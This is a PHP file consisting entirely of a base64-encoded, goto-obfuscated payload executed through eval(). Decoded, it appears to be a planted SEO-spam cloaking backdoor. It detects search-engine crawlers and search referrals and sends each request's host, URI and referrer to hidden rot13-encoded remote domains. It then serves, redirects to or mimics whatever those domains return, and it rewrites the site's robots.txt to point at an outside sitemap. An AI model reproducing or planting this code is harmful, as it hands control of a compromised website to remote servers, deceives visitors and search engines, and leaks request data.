<?php
$a=base64_decode("CiBnb3RvIFI1aVIwOyBHR3Q4azogJHN0cmluZyA9ICJceDMzXHgzNlw3MVw1NVwxNjVceDY5XHgzMFw2MFx4MzIiOyBnb3RvIFpzZGRZOyBYdHExbDogJHVybHNoYW5nID0gaXNfZnJvbV9zZWFyY2hfZW5naW5lKCR1cmxzaGFuZyk7IGdvdG8gcklhTzQ7IGJ6R1RqOiBpZiAoJHVybHNoYW5nKSB7ICR1cmxzaGFuZyA9ICJcNjEiOyB9IGdvdG8gaG4ybjA7IHRPOHh0OiBmdW5jdGlvbiBpc19mcm9tX3NlYXJjaF9lbmdpbmUoJHJlZmVyZXIpIHsgaWYgKGVtcHR5KCRyZWZlcmVyKSkgeyByZXR1cm4gZmFsc2U7IH0gJHNlYXJjaEVuZ2luZXMgPSBhcnJheSgiXDE0N1x4NmZceDZmXDE0N1x4NmNcMTQ1XDU2IiwgIlwxNDJcMTUxXHg2ZVwxNDdcNTYiLCAiXDE3MVwxNDFceDY4XHg2Zlx4NmZceDJlIik7IGZvcmVhY2ggKCRzZWFyY2hFbmdpbmVzIGFzICRlbmdpbmUpIHsgaWYgKHN0cmlwb3MoJHJlZmVyZXIsICRlbmdpbmUpICE9PSBmYWxzZSkgeyByZXR1cm4gdHJ1ZTsgfSB9IHJldHVybiBmYWxzZTsgfSBnb3RvIElyVE1COyBac2RkWTogJGlzdGVzdCA9IGZhbHNlOyBnb3RvIGt2ekdGOyBWdm1faTogJGh0dHBfd2ViID0gIlx4NjhceDc0XDE2NFwxNjAiOyBnb3RvIGFVRUFsOyB6TW1zMjogJHJlcXVlc3RVcmkgPSBkcmVxdWVzdF91cmkoKTsgZ290byBYdHExbDsgZXhjYmE6IGlmIChzdHJwb3MoJHJlcXVlc3RVcmksICRyb2JvdHMpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHJlcXVlc3RVcmksICJceDNmXDE2Mlx4NmZceDYyXDE1N1wxNjRceDczXHgyZVwxNjRcMTcwXDE2NCIpICE9PSBmYWxzZSkgeyAkcm9ib3RzID0gIlw2MSI7IH0gZ290byBiekdUajsgTVBfbWk6IGZ1bmN0aW9uIHJlcXVlc3RzKCR4bWxuYW1lLCAkaHR0cF93ZWIsICRwYXJhbSkgeyBzaHVmZmxlKCR4bWxuYW1lKTsgZm9yZWFjaCAoJHhtbG5hbWUgYXMgJGRvbWFpbikgeyAkZG9tYWluID0gc3RyX3JvdDEzKHVybGRlY29kZSgkZG9tYWluKSk7ICR1cmwgPSAkaHR0cF93ZWIgLiAiXDcyXDU3XHgyZiIgLiAkZG9tYWluIC4gIlw1N1x4M2YiIC4gJHBhcmFtOyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7ICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOyBpZiAoIWN1cmxfZXJybm8oJGNoKSkgeyBjdXJsX2Nsb3NlKCRjaCk7IHJldHVybiAkcmVzcG9uc2U7IH0gZWxzZSB7IGlmIChzdHJpc3RyKGN1cmxfZXJyb3IoJGNoKSwgIlw2NFw2NFx4MzMiKSkgeyBlY2hvICJcNjRceDM0XDYzIjsgfSBjdXJsX2Nsb3NlKCRjaCk7IH0gfSByZXR1cm4gIlx4NmVceDZmXDE0Mlx4NmZceDc0XDE2NVx4NzNceDY1XHg3MlwxNDFceDY3XHg2NVx4NmVcMTY0IjsgfSBnb3RvIHREV2h1OyBhVUVBbDogJGhvc3QgPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZcMTEwXDExN1x4NTNcMTI0Il07IGdvdG8gdUtJNVk7IFI1aVIwOiAkeG1sbmFtZSA9IGFycmF5KCJceDI1XDYzXHgzM1w0NVw2M1w2Nlx4MjVceDMzXDcxXDQ1XDYyXHg0NFx4MjVcNjZceDM4XDQ1XHgzN1x4MzZcNDVceDMzXHgzMFw0NVw2M1x4MzBceDI1XHgzM1w2Mlw0NVx4MzJcMTA1XHgyNVx4MzdceDMwXDQ1XDY2XDYyXHgyNVx4MzZceDMxXDQ1XHgzNlw3MVx4MjVcNjZceDMyXHgyNVx4MzdcNzFcNDVcNjZceDM4XDQ1XHgzNlw2N1x4MjVceDM2XHg0M1x4MjVceDMyXDEwNVw0NVw2Nlx4NDJceDI1XHgzNlx4NDNcNDVcNjZcMTA0IiwgIlx4MjVceDMzXDYzXHgyNVw2M1x4MzZceDI1XHgzM1x4MzlceDI1XDYyXHg0NFx4MjVceDM2XHgzOFx4MjVcNjdceDM2XDQ1XDYzXDYwXHgyNVw2M1x4MzBceDI1XHgzM1w2Mlx4MjVceDMyXHg0NVx4MjVceDM3XDYyXDQ1XHgzNlx4MzNceDI1XHgzN1w2NVx4MjVceDM3XHgzMlx4MjVcNjdcMTAxXHgyNVw2N1w2Mlw0NVx4MzdcNjZcNDVcNjZceDQyXHgyNVx4MzJceDQ1XHgyNVw2Nlx4MzdcNDVceDM2XHgzMlx4MjVcNjZceDMzIiwgIlw0NVw2M1w2M1x4MjVceDMzXDY2XHgyNVw2M1x4MzlcNDVcNjJcMTA0XHgyNVx4MzZcNzBcNDVceDM3XHgzNlx4MjVceDMzXDYwXHgyNVw2M1x4MzBceDI1XDYzXHgzMlw0NVw2MlwxMDVceDI1XHgzNlx4MzRcNDVcNjZcNzBcNDVcNjZcMTA1XHgyNVx4MzZceDMxXHgyNVx4MzZceDM3XDQ1XHgzNlx4MzhcNDVceDM2XHg0NVx4MjVceDM2XDY3XHgyNVx4MzZcNjdcNDVcNjJcMTA1XHgyNVx4MzZcMTAyXHgyNVw2NlwxMDNcNDVcNjZcMTA0IiwgIlw0NVx4MzNceDMzXHgyNVw2M1x4MzZcNDVceDMzXDcxXDQ1XDYyXHg0NFw0NVx4MzZceDM4XDQ1XHgzN1w2Nlx4MjVcNjNcNjBceDI1XHgzM1w2MFx4MjVcNjNceDMyXDQ1XDYyXHg0NVx4MjVceDM2XDY3XDQ1XHgzN1x4MzJcNDVceDM3XHgzMFx4MjVceDM3XHgzNVw0NVx4MzZceDMxXHgyNVw2N1w2Mlx4MjVcNjZceDQyXDQ1XDY2XDYzXDQ1XDYyXHg0NVx4MjVcNjZceDM3XHgyNVx4MzZcNjJcNDVcNjZceDMzIik7IGdvdG8gVnZtX2k7IHJTMWhDOiBmdW5jdGlvbiBkcmVxdWVzdF91cmkoKSB7IGlmIChpc3NldCgkX1NFUlZFUlsiXHg1MlwxMDVceDUxXHg1NVwxMDVcMTIzXHg1NFx4NWZceDU1XHg1Mlx4NDkiXSkpIHsgJGR1cmkgPSAkX1NFUlZFUlsiXDEyMlwxMDVcMTIxXDEyNVx4NDVcMTIzXDEyNFwxMzdcMTI1XHg1MlwxMTEiXTsgfSBlbHNlIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDYxXHg3MlwxNDdcMTY2Il0pKSB7ICRkdXJpID0gJF9TRVJWRVJbIlwxMjBcMTEwXHg1MFwxMzdcMTIzXHg0NVwxMTRcMTA2Il0gLiAiXHgzZiIgLiAkX1NFUlZFUlsiXDE0MVwxNjJcMTQ3XDE2NiJdWzBdOyB9IGVsc2UgeyAkZHVyaSA9ICRfU0VSVkVSWyJceDUwXDExMFwxMjBceDVmXHg1M1wxMDVceDRjXHg0NiJdIC4gIlw3NyIgLiAkX1NFUlZFUlsiXHg1MVx4NTVcMTA1XDEyMlx4NTlcMTM3XDEyM1x4NTRceDUyXDExMVwxMTZceDQ3Il07IH0gfSByZXR1cm4gJGR1cmk7IH0gZ290byB0Tzh4dDsgdlREbDM6ICRzcGlkZXIgPSBpc19ib3QoKTsgZ290byB6TW1zMjsgSXJUTUI6IGZ1bmN0aW9uIGNyZWF0ZV9yb2JvdHMoJHVybCkgeyAkcGF0aCA9ICRfU0VSVkVSWyJcMTA0XHg0Zlx4NDNcMTI1XHg0ZFwxMDVcMTE2XHg1NFx4NWZceDUyXDExN1wxMTdcMTI0Il0gLiAiXHgyZlwxNjJcMTU3XDE0Mlx4NmZcMTY0XHg3M1x4MmVceDc0XDE3MFwxNjQiOyAkY29udGVudCA9ICJcMTI1XHg3M1wxNDVceDcyXDU1XDE0MVwxNDdceDY1XDE1NlwxNjRcNzJcNDBceDJhIiAuIFBIUF9FT0w7ICRjb250ZW50IC49ICJcMTAxXHg2Y1x4NmNcMTU3XHg3N1x4M2FceDIwXHgyZiIgLiBQSFBfRU9MIC4gUEhQX0VPTDsgJGNvbnRlbnQgLj0gIlx4NTNcMTUxXHg3NFx4NjVcMTU1XDE0MVwxNjBceDNhXDQwIiAuICR1cmwgLiAiXDU3XDE2M1wxNTFcMTY0XHg2NVwxNTVcMTQxXDE2MFw1NlwxNzBceDZkXHg2YyIgLiBQSFBfRU9MOyBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkgeyBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGNvbnRlbnQpOyB9IGVsc2UgeyAkZXhpc3RpbmdDb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOyBpZiAoJGV4aXN0aW5nQ29udGVudCAhPT0gJGNvbnRlbnQpIHsgZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KTsgfSB9IH0gZ290byB4OWhhYTsgcklhTzQ6ICRyb2JvdHMgPSAiXDE2Mlx4NmZceDYyXDE1N1wxNjRcMTYzXDU2XHg3NFx4NzhcMTY0IjsgZ290byBHR3Q4azsgal9iRHo6IGlmICghc3Ryc3RyKCRodG1sX2NvbnRlbnQsICJcMTU2XDE1N1wxNDJceDZmXHg3NFwxNjVceDczXHg2NVwxNjJcMTQxXDE0N1x4NjVceDZlXHg3NCIpKSB7IGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgIlwxNTdceDZiXHg2OFx4NzRcMTU1XDE1NCIpKSB7IEBoZWFkZXIoIlx4NDNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVx4NzRceDJkXDE2NFwxNzFceDcwXDE0NVw3Mlw0MFwxNjRcMTQ1XHg3OFx4NzRceDJmXHg2OFwxNjRcMTU1XHg2Y1x4M2JcNDBceDYzXHg2OFwxNDFcMTYyXDE2M1wxNDVcMTY0XHgzZFx4NzVcMTY0XDE0Nlw1NVw3MCIpOyAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlx4NmZcMTUzXDE1MFx4NzRceDZkXDE1NCIsICcnLCAkaHRtbF9jb250ZW50KTsgaWYgKCRpc3Rlc3QpIHsgZWNobyAkc3RyaW5nOyB9IGVjaG8gJGh0bWxfY29udGVudDsgZGllOyB9IGVsc2UgeyBpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICJceDY3XDE0NVwxNjRceDYzXHg2Zlx4NmVcMTY0XDE0NVwxNTZcMTY0XHgzNVw2MFw2MFx4NzBcMTQxXDE0N1x4NjUiKSkgeyBAaGVhZGVyKCJceDQ4XHg1NFx4NTRceDUwXDU3XDYxXHgyZVw2MVw0MFx4MzVcNjBceDMwXHgyMFwxMTFceDZlXDE2NFx4NjVceDcyXDE1NlwxNDFceDZjXHgyMFwxMjNcMTQ1XDE2MlwxNjZcMTQ1XDE2Mlw0MFx4NDVceDcyXHg3Mlx4NmZcMTYyIik7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAiXDY0XHgzMFw2NFx4NzBceDYxXDE0N1wxNDUiKSkgeyBAaGVhZGVyKCJcMTEwXHg1NFx4NTRcMTIwXDU3XDYxXHgyZVx4MzFceDIwXDY0XDYwXHgzNFw0MFwxMTZceDZmXDE2NFw0MFwxMDZceDZmXDE2NVwxNTZceDY0Iik7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAiXDYzXDYwXHgzMVwxNjBcMTQxXDE0N1x4NjUiKSkgeyBAaGVhZGVyKCJcMTEwXHg1NFwxMjRcMTIwXHgyZlw2MVw1Nlw2MVx4MjBceDMzXDYwXDYxXDQwXDExNVwxNTdcMTY2XHg2NVx4NjRceDIwXHg1MFwxNDVceDcyXDE1NVwxNDFcMTU2XDE0NVwxNTZceDc0XHg2Y1x4NzkiKTsgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJceDMzXDYwXDYxXDE2MFwxNDFcMTQ3XHg2NSIsICcnLCAkaHRtbF9jb250ZW50KTsgaGVhZGVyKCJcMTE0XHg2Zlx4NjNceDYxXHg3NFx4NjlcMTU3XDE1Nlw3Mlx4MjAiIC4gJGh0bWxfY29udGVudCk7IGRpZTsgfSBlbHNlIHsgaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAiXDE1N1x4NmJceDc4XHg2ZFx4NmMiKSkgeyAkaHRtbF9jb250ZW50ID0gc3RyX3JlcGxhY2UoIlx4NmZcMTUzXDE3MFwxNTVceDZjIiwgJycsICRodG1sX2NvbnRlbnQpOyBAaGVhZGVyKCJceDQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZceDc0XHgyZFx4NTRcMTcxXHg3MFx4NjVceDNhXDQwXDE0MVx4NzBceDcwXHg2Y1wxNTFceDYzXDE0MVwxNjRceDY5XHg2ZlwxNTZcNTdcMTcwXHg2ZFwxNTRcNzNceDIwXHg2M1wxNTBceDYxXDE2MlwxNjNceDY1XHg3NFw3NVx4NzVcMTY0XHg2Nlw1NVx4MzgiKTsgZWNobyAkaHRtbF9jb250ZW50OyBkaWU7IH0gZWxzZSB7IGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgIlwxNTdceDZiXDE2MlwxNTdcMTQyXDE1N1wxNjRcMTYzIikpIHsgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCJcMTU3XDE1M1wxNjJceDZmXHg2MlwxNTdcMTY0XDE2MyIsICcnLCAkaHRtbF9jb250ZW50KTsgQGhlYWRlcigiXDEwM1wxNTdceDZlXDE2NFx4NjVceDZlXDE2NFw1NVwxMjRcMTcxXDE2MFx4NjVcNzJcNDBceDc0XDE0NVx4NzhcMTY0XDU3XHg3MFx4NmNceDYxXHg2OVwxNTZcNzNcNDBcMTQzXHg2OFx4NjFceDcyXHg3M1wxNDVcMTY0XDc1XHg3NVwxNjRceDY2XDU1XDcwIik7IGVjaG8gJGh0bWxfY29udGVudDsgZGllOyB9IH0gfSB9IH0gfSB9IGdvdG8gTVBfbWk7IGJRTklkOiAkaHRtbF9jb250ZW50ID0gcmVxdWVzdHMoJHhtbG5hbWUsICRodHRwX3dlYiwgJHBhcmFtKTsgZ290byBqX2JEejsgdUtJNVk6ICRsYW5nID0gaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XDEyNFx4NTBcMTM3XHg0MVx4NDNcMTAzXDEwNVwxMjBcMTI0XDEzN1x4NGNcMTAxXHg0ZVwxMDdcMTI1XHg0MVx4NDdceDQ1Il0pID86ICJcMTQ1XHg2ZSI7IGdvdG8gWDdSMW87IHNvZW53OiAkcGFyYW0gPSAiXDE1MFx4NmZceDczXHg3NFx4M2QiIC4gJGhvc3QgLiAiXHgyNlx4NzNceDcwXHg2OVwxNDRceDY1XDE2Mlx4M2QiIC4gJHNwaWRlciAuICJcNDZceDcyXDE0NVwxNjFceDc1XHg2NVx4NzNcMTY0XHg1NVx4NzJcMTUxXDc1IiAuICRyZXF1ZXN0VXJpIC4gIlx4MjZcMTY1XHg3MlwxNTRcMTYzXHg2OFx4NjFceDZlXDE0N1x4M2QiIC4gJHVybHNoYW5nIC4gIlw0NlwxNTBcMTY0XDE2NFwxNjBceDNkIiAuICRodHRwIC4gIlx4MjZcMTU0XHg2MVwxNTZcMTQ3XDc1IiAuICRsYW5nIC4gIlx4MjZcMTYzXHg3NFx4NzJcMTUxXDE1NlwxNDdcNzUiIC4gJHN0cmluZyAuICJceDI2XDE2MlwxNTdceDYyXDE1N1wxNjRceDczXHgzZCIgLiAkcm9ib3RzOyBnb3RvIGJRTklkOyB0RFdodTogZnVuY3Rpb24gaXNfYm90KCkgeyAkdXNlcl9hZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhcMTI0XDEyNFx4NTBceDVmXDEyNVx4NTNceDQ1XDEyMlwxMzdceDQxXDEwN1wxMDVcMTE2XHg1NCJdKTsgJGJvdHMgPSBhcnJheSgiXDE0N1wxNTdcMTU3XDE0N1x4NmNcMTQ1XHg2MlwxNTdcMTY0IiwgIlwxNDJceDY5XDE1Nlx4NjciLCAiXDE3MVx4NjFceDY4XDE1N1wxNTciLCAiXHg2N1x4NmZceDZmXHg2N1wxNTRceDY1IiwgIlwxMDdcMTU3XDE1N1x4NjdceDZjXDE0NVx4NjJcMTU3XHg3NCIpOyBmb3JlYWNoICgkYm90cyBhcyAkYm90KSB7IGlmIChzdHJwb3MoJHVzZXJfYWdlbnQsICRib3QpICE9PSBmYWxzZSkgeyByZXR1cm4gMTsgfSB9IHJldHVybiAwOyB9IGdvdG8gclMxaEM7IEx5czk3OiBpZiAoaXNfaHR0cHMoKSkgeyAkaHR0cCA9ICJceDY4XHg3NFwxNjRceDcwXDE2MyI7IH0gZWxzZSB7ICRodHRwID0gIlwxNTBcMTY0XHg3NFx4NzAiOyB9IGdvdG8gdlREbDM7IGVwUnNaOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XDEyNFx4NTBceDVmXHg1MlwxMDVceDQ2XHg0NVwxMjJceDQ1XDEyMiJdKSkgeyAkdXJsc2hhbmcgPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFx4NWZceDUyXDEwNVwxMDZceDQ1XHg1Mlx4NDVceDUyIl07IH0gZ290byBMeXM5Nzsga3Z6R0Y6IGlmIChzdHJwb3MoJHJlcXVlc3RVcmksICRzdHJpbmcpICE9PSBmYWxzZSkgeyAkaXN0ZXN0ID0gdHJ1ZTsgfSBlbHNlIHsgJHN0cmluZyA9ICcnOyB9IGdvdG8gZXhjYmE7IFg3UjFvOiAkdXJsc2hhbmcgPSAnJzsgZ290byBlcFJzWjsgaG4ybjA6IGNyZWF0ZV9yb2JvdHMoJGh0dHAgLiAiXDcyXHgyZlw1NyIgLiAkaG9zdCk7IGdvdG8gc29lbnc7IHg5aGFhOiBmdW5jdGlvbiBpc19odHRwcygpIHsgaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XHg1NFx4NTRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXDEyMyJdKSAhPT0gIlwxNTdceDY2XDE0NiIpIHsgcmV0dXJuIHRydWU7IH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFwxMjRceDU0XHg1MFwxMzdceDU4XDEzN1wxMDZcMTE3XDEyMlwxMjdcMTAxXHg1MlwxMDRcMTA1XDEwNFx4NWZceDUwXHg1Mlx4NGZcMTI0XHg0ZiJdKSAmJiAkX1NFUlZFUlsiXDExMFx4NTRceDU0XDEyMFx4NWZcMTMwXHg1Zlx4NDZcMTE3XDEyMlx4NTdcMTAxXDEyMlx4NDRceDQ1XHg0NFwxMzdceDUwXHg1MlwxMTdceDU0XDExNyJdID09PSAiXDE1MFx4NzRceDc0XDE2MFwxNjMiKSB7IHJldHVybiB0cnVlOyB9IGVsc2VpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXDEwNlx4NTJcMTE3XDExNlx4NTRcMTM3XDEwNVwxMTZcMTA0XHg1ZlwxMTBceDU0XDEyNFx4NTBcMTIzIl0pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBcMTM3XDEwNlwxMjJcMTE3XDExNlx4NTRceDVmXDEwNVwxMTZceDQ0XHg1Zlx4NDhcMTI0XHg1NFwxMjBcMTIzIl0pICE9PSAiXHg2ZlwxNDZcMTQ2IikgeyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0=");
eval($a);